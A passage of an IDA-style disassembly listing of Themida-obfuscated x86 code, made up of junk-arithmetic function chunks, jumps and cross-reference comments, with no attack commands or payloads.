		mov	edx, ebx
		pop	ebx
		mov	esi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_58A338
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_5973A9:				; CODE XREF: sub_5916CB-4F98j
					; Themida_:00591A38j
		pop	edx
		xor	eax, 1D58DE0Ch
		mov	edi, eax
		mov	eax, [esp+8+var_8]
		jmp	loc_58B0B8
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_5973B9:				; CODE XREF: Themida_:00595D5Dj
		add	edi, ecx
		sub	edi, 4E9335EAh
		jmp	loc_58B6CC
; ---------------------------------------------------------------------------


loc_5973C6:				; CODE XREF: Themida_:0058D7C3j
		pop	edx
		and	ebp, 7BCE6C05h
		jmp	loc_59485D
; ---------------------------------------------------------------------------


loc_5973D2:				; CODE XREF: Themida_:005977A2j
		pop	ecx
		push	4435h
		mov	[esp], ebp
		jmp	loc_593A52
; ---------------------------------------------------------------------------


loc_5973E0:				; CODE XREF: Themida_:00595B2Aj
		push	dword ptr [esp+4]
		jmp	loc_59499A
; ---------------------------------------------------------------------------


loc_5973E9:				; CODE XREF: Themida_:00595B37j
		mov	ebx, [esp]
		jmp	loc_58B904
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_5973F1:				; CODE XREF: sub_5919E2-42DFj
		mov	ebp, 127F78FEh
		sub	ebp, 73971DA8h
		sub	ebp, 787174E7h
		add	ebp, 0E391458Ch
		add	eax, ebp
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		mov	ecx, eax
		pop	eax
		push	edi
		mov	edi, 4D811A70h
		jmp	loc_58A4AE
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------


loc_597421:				; CODE XREF: Themida_:00596E35j
		pop	esi
		push	538h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_591BE6
; ---------------------------------------------------------------------------


loc_597431:				; CODE XREF: Themida_:00594032j
		add	esp, 4
		add	edi, 4
		jmp	loc_590D01
; ---------------------------------------------------------------------------


loc_597442:				; CODE XREF: Themida_:00596E83j
		add	esp, 4
		xor	ebp, esi
		xor	esi, ebp
		xor	ebp, esi
		xor	ebp, 670FBF8Ah
		xor	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_593755
; ---------------------------------------------------------------------------


loc_597467:				; CODE XREF: Themida_:0058E776j
		ja	loc_592DD7
		jmp	loc_596F03
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_597472:				; CODE XREF: sub_59762D-8B13j
		sub	bl, 0CCh
		sub	bl, 0EAh
		jmp	loc_5970B0
; END OF FUNCTION CHUNK	FOR sub_59762D

; =============== S U B	R O U T	I N E =======================================



sub_59747D	proc near		; CODE XREF: sub_5EC2E8-60594j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, 8ED08B5h
		add	edi, edx
		pop	edx
		pop	esi
		retn
sub_59747D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_597492:				; CODE XREF: sub_5938B9-5595j
		xor	eax, ebx
		pop	ebx
		sub	ebx, 1FD22391h
		add	ebx, 243A6B10h
		add	ebx, eax
		sub	ebx, 243A6B10h
		push	0C4Ah
		mov	[esp+0], edx
		mov	edx, 798E09D8h
		push	5E15h
		jmp	loc_58B398
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5955A6


loc_5974C0:				; CODE XREF: sub_590467+4FABj
					; sub_5955A6+Bj
		shr	ah, 3
		xchg	bh, ah
		neg	bh
		xchg	bh, ah
		not	ah
		neg	ah
		sub	ah, 0EFh
		mov	dl, ah
		pop	eax
		mov	cl, dl
		mov	edx, [esp+4+var_4]
		add	esp, 4
		push	dx
		mov	dl, 0D8h
		xor	cl, dl
		pop	dx
		sub	al, 8Eh
		add	al, cl
		push	cx
		mov	ch, 8Eh
		add	al, ch
		pop	cx
		pop	ecx
		sub	esp, 4
		mov	[esp+0], ecx
		mov	cl, 0A4h
		or	cl, 5Dh
		jmp	loc_58AD69
; END OF FUNCTION CHUNK	FOR sub_5955A6
; ---------------------------------------------------------------------------


loc_597506:				; CODE XREF: Themida_:00597F17j
		push	edx
		mov	edx, esp
		jmp	loc_592CCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_59750E:				; CODE XREF: sub_5916C4+1D49j
		pop	edi
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, 7B427C6Fh
		shl	eax, 7
		push	eax
		xchg	eax, [esp+4+var_4]
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		xchg	eax, [esp+4+var_4]
		pop	eax
		or	eax, 67A14A36h
		or	eax, 45414541h
		shl	eax, 5
		push	7CFCh
		mov	[esp+4+var_4], ebx
		mov	ebx, 7EB65C9Bh
		add	eax, ebx
		jmp	loc_596EE8
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_59754A:				; CODE XREF: Themida_:00594F72j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 474E2E68h
		jmp	loc_590F3F
; ---------------------------------------------------------------------------


loc_597567:				; CODE XREF: Themida_:005954F8j
		pop	ebp
		add	esi, edx
		pop	edx
		add	esi, 4
		push	esi
		jmp	loc_5914F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B03F


loc_597577:				; CODE XREF: sub_58B03F+44EAj
		mov	[esp+8+var_8], ebx
		jmp	loc_5975C4
; END OF FUNCTION CHUNK	FOR sub_58B03F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_59757F:				; CODE XREF: sub_595123-9232j
		pop	esp
		push	edx
		jmp	loc_5953CC
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_597586:				; CODE XREF: Themida_:005941C3j
		mov	ecx, 7E7E089Ch
		and	ebp, ecx
		pop	ecx
		or	ebp, 67555DFAh
		push	ebx
		mov	ebx, 0FFFFFFFFh
		sub	ebp, ebx
		jmp	loc_592B00
; ---------------------------------------------------------------------------


loc_5975A1:				; CODE XREF: Themida_:0058BB6Ej
		xor	ebx, 71482EB8h
		jmp	loc_590F8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_5975AC:				; CODE XREF: sub_590467+65C3j
		mov	[esp+0Ah+var_A], edx
		mov	dh, 0D1h
		sub	bh, dh
		jmp	loc_59493C
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_5975B8:				; CODE XREF: Themida_:005902BAj
		and	ebp, 2A7A6E43h
		inc	ebp
		jmp	loc_590168
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_5975C4:				; CODE XREF: sub_58F5B5-21F4j
					; sub_58B03F+C53Bj
		xor	[esp-8+arg_4], 0A7079D3h
		mov	edx, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_592FE8
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_5975D9:				; CODE XREF: Themida_:0058AEDCj
		push	edx
		mov	edx, 1D286027h
		shr	edx, 2
		neg	edx
		push	ecx
		jmp	loc_592F62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_5975EA:				; CODE XREF: sub_59524C-97ADj
		pop	esi
		push	eax
		push	[esp+arg_0]
		pop	eax
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		sub	esp, 4
		mov	[esp+0], edx
		push	eax
		mov	eax, 80h
		mov	edx, eax
		pop	eax
		and	ecx, edx
		mov	edx, [esp+0]
		jmp	sub_58F836
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_597613:				; CODE XREF: sub_5EC2E8-586DFj
		shr	ebp, 6
		sub	ebp, 5C2350DCh
		xor	ebp, 0A4B4555Bh
		add	edx, ebp
		pop	ebp
		add	edx, 4
		jmp	loc_595C88
; END OF FUNCTION CHUNK	FOR sub_5EC2E8

; =============== S U B	R O U T	I N E =======================================



sub_59762D	proc near		; CODE XREF: Themida_:0058C0C1j
					; sub_595655-1CD4j

var_8		= dword	ptr -8
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

; FUNCTION CHUNK AT 0058A777 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058AC17 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058B845 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058BA33 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058C06F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058C39D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C654 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058C7ED SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058CB26 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CEDC SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058CF15 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058D8B7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058DB8E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058DEAF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058E450 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E6A9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058EB0E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058EC9E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058F6A0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058F720 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058F85F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FB86 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FCCF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058FE14 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058FE55 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005903AB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00590512 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005908BD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005909F8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00590C4B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00590EAE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005912E1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00591823 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591B3D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005921E7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059229D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005923D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059258A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592996 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592A3A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00594048 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00594307 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594476 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00594BDF SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00595079 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005950C1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005951F4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00595318 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005954FD SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00595590 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00595773 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005960A3 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005961CB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005964B8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00596BE6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005970B0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00597472 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005977A7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059781D SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005979B7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00597B29 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00597D35 SIZE 00000010 BYTES

		push	ebx
		push	ecx
		jmp	loc_5960A3
sub_59762D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_597634:				; CODE XREF: sub_58C17E+3491j
		not	ebp
		neg	ebp
		xor	ebp, 0C81805h
		and	eax, ebp
		mov	ebp, [esp+8+var_8]
		jmp	loc_596411
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_597648:				; CODE XREF: sub_5EC2E8-55E08j
		add	eax, edx
		add	eax, 29835A61h
		pop	edx
		push	edx
		mov	edx, 2
		add	eax, edx
		pop	edx
		xor	eax, [esp+20h+var_20]
		xor	[esp+20h+var_20], eax
		xor	eax, [esp+20h+var_20]
		pop	esp
		jmp	loc_592EFC
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_597668:				; CODE XREF: Themida_:0058EC4Cj
					; Themida_:00593CD4j
		push	4BAAh
		mov	[esp], ebx
		mov	bl, 3Bh
		jmp	loc_58A500
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_58EAB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_59769A:				; CODE XREF: sub_5938B9-94DEj
		pop	ebp
		xor	esi, ebx
		pop	ebx
		add	ebp, esi
		mov	esi, [esp-8+arg_4]
		jmp	loc_592700
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_5976A8:				; CODE XREF: Themida_:0058DD06j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	eax
		mov	eax, 69EE26AEh
		mov	ebp, eax
		pop	eax
		push	ebx
		mov	ebx, 69EE2AAFh
		sub	ebp, ebx
		mov	ebx, [esp]
		push	ebp
		jmp	loc_593091
; ---------------------------------------------------------------------------


loc_5976CC:				; CODE XREF: Themida_:00597B1Dj
		push	ebp
		mov	ebp, 40A21628h
		shl	ebp, 3
		neg	ebp
		dec	ebp
		shr	ebp, 1
		add	ebp, 97C0C687h
		push	ecx
		mov	ecx, 26036929h
		jmp	loc_592A97
; ---------------------------------------------------------------------------


loc_5976EB:				; CODE XREF: Themida_:loc_5971D3j
		add	ecx, 704E02h
		add	ebp, ecx
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58E943

; =============== S U B	R O U T	I N E =======================================



sub_597716	proc near		; CODE XREF: sub_58C17E-1425j
					; sub_5EC2E8-5E87Cj

; FUNCTION CHUNK AT 0058A653 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, 0BDD2D65h
		push	edx
		mov	edx, 7F5B4B7Ch
		sub	ebp, edx
		pop	edx
		shl	ebp, 3
		inc	ebp
		jmp	loc_58A653
sub_597716	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D236


loc_59772E:				; CODE XREF: sub_58D236-2A93j
		push	5538h
		mov	[esp+0], ecx
		push	351h
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	ecx
		add	ecx, 4
		jmp	loc_591BF4
; END OF FUNCTION CHUNK	FOR sub_58D236
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_59774E:				; CODE XREF: sub_58C17E+602Ej
		add	edi, 0BA956216h
		add	ecx, edi
		jmp	loc_5955FB
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_59775B:				; CODE XREF: sub_58F5B5+D9j
		mov	edx, esp
		jmp	loc_58E40C
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_597762:				; CODE XREF: Themida_:00596E29j
		mov	dh, ah
		jmp	loc_590EC8
; ---------------------------------------------------------------------------


loc_597769:				; CODE XREF: Themida_:0058D47Fj
					; Themida_:00591DD7j
		add	eax, 58BF48F3h
		jmp	loc_58C9F7
; ---------------------------------------------------------------------------


loc_597773:				; CODE XREF: Themida_:0058EF4Dj
		push	eax
		jmp	loc_593DF8
; ---------------------------------------------------------------------------


loc_597779:				; CODE XREF: Themida_:0058CF10j
		push	6F25334Eh
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_58BC23
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_590EEF
; ---------------------------------------------------------------------------


loc_597793:				; CODE XREF: Themida_:005922ECj
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_5973D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_5977A7:				; CODE XREF: sub_59762D-B5B6j
		push	eax
		jmp	sub_5909B4
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_5977AD:				; CODE XREF: Themida_:005965C8j
		push	edx
		mov	dl, 71h
		mov	bh, dl
		mov	edx, [esp]
		jmp	loc_594E0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_5977BA:				; CODE XREF: sub_594654-749Fj
		pop	ecx
		add	ebp, esi
		pop	esi
		jmp	loc_58A314
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5977C3:				; CODE XREF: sub_5916C4+16A6j
		mov	al, ch
		mov	dh, al
		pop	eax
		pop	cx
		push	3725h
		mov	[esp-14h+arg_10], ecx
		jmp	loc_595431
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	4D97h
		mov	[esp], esi
		push	ebx
		jmp	loc_595CB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5977E9:				; CODE XREF: sub_58C17E+A21j
		xor	al, bl
		pop	ebx
		push	edx
		jmp	loc_58B499
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_5977F2:				; CODE XREF: Themida_:loc_591C43j
		sub	esi, 5875546Eh
		add	esi, 4C5D6ABAh
		xor	esi, 0A0C09E4h
		mov	edi, esi
		jmp	loc_58E33F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_59780B:				; CODE XREF: sub_590467+5377j
		mov	eax, 58E8317Dh
		push	ecx
		mov	ecx, 0FFFFFFFFh
		sub	eax, ecx
		jmp	loc_591B02
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_59781D:				; CODE XREF: Themida_:0058C0BBj
					; sub_59762D-AE39j
		jns	loc_58AC17
		shr	al, 7
		shr	al, 3
		jp	loc_58DB8E
		xor	al, 0F6h
		push	ebx


loc_597832:				; CODE XREF: sub_59762D-2A1Cj
		mov	ebp, edx
		pop	edx
		add	ebp, 691A0145h
		add	ecx, ebp
		pop	ebp
		add	ecx, 2
		jmp	loc_58FE14
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_597849:				; CODE XREF: Themida_:0058C999j
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, ecx
		add	esi, 1F5F5151h
		pop	ecx
		push	eax
		push	edx
		jmp	loc_58A368
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_597864:				; CODE XREF: sub_58C17E+2485j
		shl	bl, 6
		add	bl, 0FFh
		neg	bl
		inc	bl
		push	cx
		mov	ch, 70h
		add	ch, 11h
		jge	loc_58E514
		dec	ch
		jo	loc_593F18
		or	ch, 9Dh
		push	ebx


loc_597887:				; CODE XREF: Themida_:0058ABE4j
					; Themida_:0058DC7Bj
		inc	ebx
		jmp	loc_597C65
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_59788D:				; CODE XREF: sub_590467+16AAj
		shr	ebx, 8
		dec	ebx
		sub	ebx, 20D22126h
		add	eax, ebx
		pop	ebx
		push	eax
		pop	edx
		pop	eax
		sub	edx, 6296FF7h
		add	edx, 174149EFh
		jmp	loc_58E20E
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_5978AE:				; CODE XREF: Themida_:0058AD7Aj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebp
		mov	ebp, 481F0D3Ch
		shr	ebp, 8
		not	ebp
		neg	ebp
		add	ebp, 0FFB7E0F6h
		add	eax, ebp
		jmp	loc_58B8FC
; ---------------------------------------------------------------------------


loc_5978D9:				; CODE XREF: Themida_:005944E0j
		mov	edi, esp
		add	edi, 4
		push	7462h
		mov	[esp], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 7DFE2404h
		jmp	loc_596616
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_5978F6:				; CODE XREF: sub_590B70-5BFAj
		mov	ebp, 33004E0h
		sub	ebx, ebp
		pop	ebp
		and	ebx, 43056AC2h
		xor	ebx, 219D6319h
		jmp	loc_58B146
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------


loc_59790F:				; CODE XREF: Themida_:00590E36j
		add	ebx, 75F257F4h
		mov	ecx, ebx
		jmp	loc_58B529
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_59791C:				; CODE XREF: sub_5938B9+4222j
		jmp	loc_58F72F
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_597921:				; CODE XREF: Themida_:0058F9DCj
		sub	ecx, eax
		sub	ecx, 17AA6E21h
		pop	eax
		push	ecx
		jmp	loc_58D400
; ---------------------------------------------------------------------------


loc_597930:				; CODE XREF: Themida_:005935F8j
		pop	ebp
		sub	esi, 65CE6BDDh
		jmp	loc_597ACE
; ---------------------------------------------------------------------------


loc_59793C:				; CODE XREF: Themida_:0058CDAEj
		add	eax, 1FF801A7h
		inc	eax
		sub	eax, 0A3CBDEDDh
		add	edi, 11597FC2h
		sub	edi, 241B1AFBh
		sub	edi, eax
		add	edi, 241B1AFBh
		push	eax
		jmp	loc_58F792
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_597961:				; CODE XREF: sub_58E3A6+17D3j
					; sub_58F5B5+887j ...
		pop	ebp
		add	edx, eax
		jmp	loc_5915ED
; END OF FUNCTION CHUNK	FOR sub_58F5B5

; =============== S U B	R O U T	I N E =======================================



sub_597969	proc near		; CODE XREF: sub_590467:loc_58EDDFj
		push	ebx
		mov	ebx, 0FFFFFFFFh
		jmp	loc_592FE8
sub_597969	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_597974:				; CODE XREF: sub_590467-50F1j
		add	ebp, 83ABD5A8h
		or	ebp, 782F01D4h
		add	ebp, 28EC676Dh
		jmp	loc_58B3FA
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_59798B:				; CODE XREF: sub_58F5B5+4DA4j
		pop	ebp
		add	esi, edi
		mov	edi, [esp+0]
		add	esp, 4
		push	6EB9h
		mov	[esp+0], esi
		push	dword ptr [esp+0]
		jmp	loc_595E16
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_5979A4:				; CODE XREF: Themida_:00596995j
		jge	loc_58AD05
		jmp	loc_593495
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_5979AF:				; CODE XREF: sub_595123+1BAj
		pop	[esp+18h+var_18]
		jmp	loc_58CFF1
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_5979B7:				; CODE XREF: sub_59762D-242Aj
		mov	ebx, 0CF156FEh
		not	ebx
		or	ebx, 35813180h
		jmp	loc_590C4B
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_5979C9:				; CODE XREF: sub_590467-3B09j
		push	esi
		push	esp
		pop	esi
		push	edi
		jmp	loc_58C233
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_5979D2:				; CODE XREF: Themida_:00594844j
		and	eax, 18D7478Bh
		jmp	loc_58D661
; ---------------------------------------------------------------------------


loc_5979DC:				; CODE XREF: Themida_:0059287Dj
		neg	ecx
		not	ecx
		jmp	loc_58ED79
; ---------------------------------------------------------------------------


loc_5979E5:				; CODE XREF: Themida_:0058C722j
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_5979F6:				; CODE XREF: sub_5938B9+463j
		add	ebx, edx
		pop	edx
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		jmp	loc_5929C8
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_597A04:				; CODE XREF: Themida_:00591298j
		push	ebx
		jmp	loc_58DF77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_597A0A:				; CODE XREF: sub_58C17E-697j
		shr	edx, 1
		jmp	loc_58CA07
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_597A11:				; CODE XREF: Themida_:005918ACj
		sub	si, 12D0h
		add	si, 2D95h
		add	ax, si
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		mov	di, 53BFh
		add	di, 1
		push	ecx
		jmp	loc_58DBE4
; ---------------------------------------------------------------------------


loc_597A33:				; CODE XREF: Themida_:00592FD1j
		sub	ebx, 8EAED420h
		xor	ebp, ebx
		pop	ebx
		shr	ebp, 1
		shl	ebp, 5
		sub	ebp, 646B57E5h
		sub	eax, 473D23E6h
		add	eax, ebp
		add	eax, 473D23E6h
		mov	ebp, [esp]
		add	esp, 4
		add	eax, ebx
		jmp	loc_597BB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_597A63:				; CODE XREF: sub_59524C-5A5Bj
		pop	ebx
		or	eax, eax
		jz	loc_58E839
		push	dword ptr [edi+1Ch]
		push	[esp-4+arg_0]
		pop	ecx
		sub	esp, 4
		mov	[esp+0], eax
		push	esp
		pop	eax
		jmp	loc_5920D4
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_597A80:				; CODE XREF: Themida_:00593A6Cj
					; sub_595E21-19D4j
		add	[esp+18h+var_14], ecx
		pop	ecx
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_595E0B
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------


loc_597A93:				; CODE XREF: Themida_:0058D3B0j
		mov	[esp], eax
		mov	eax, 68D853F0h
		and	eax, 2BAE4E54h
		and	eax, 6772446h
		push	ebp
		mov	ebp, 44h
		xor	eax, ebp
		pop	ebp
		sub	esi, 1A084B09h
		add	esi, eax
		add	esi, 1A084B09h
		jmp	loc_591C1F
; ---------------------------------------------------------------------------


loc_597AC1:				; CODE XREF: Themida_:00596C49j
		add	edx, esi
		pop	esi
		sub	eax, 0A3571D0h
		jmp	loc_5902B2
; ---------------------------------------------------------------------------


loc_597ACE:				; CODE XREF: Themida_:00597937j
		add	ecx, esi
		jmp	loc_591F2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_597AD5:				; CODE XREF: sub_5938B9-1905j
		and	ecx, 2193139h
		ja	loc_59791C
		jmp	loc_58EAEC
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
		sub	ecx, eax
		xor	cl, 38h
		push	eax
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_597AEC:				; CODE XREF: sub_5938B9-4DC3j
		push	esi
		push	ebx
		mov	ebx, 1B3F7A77h
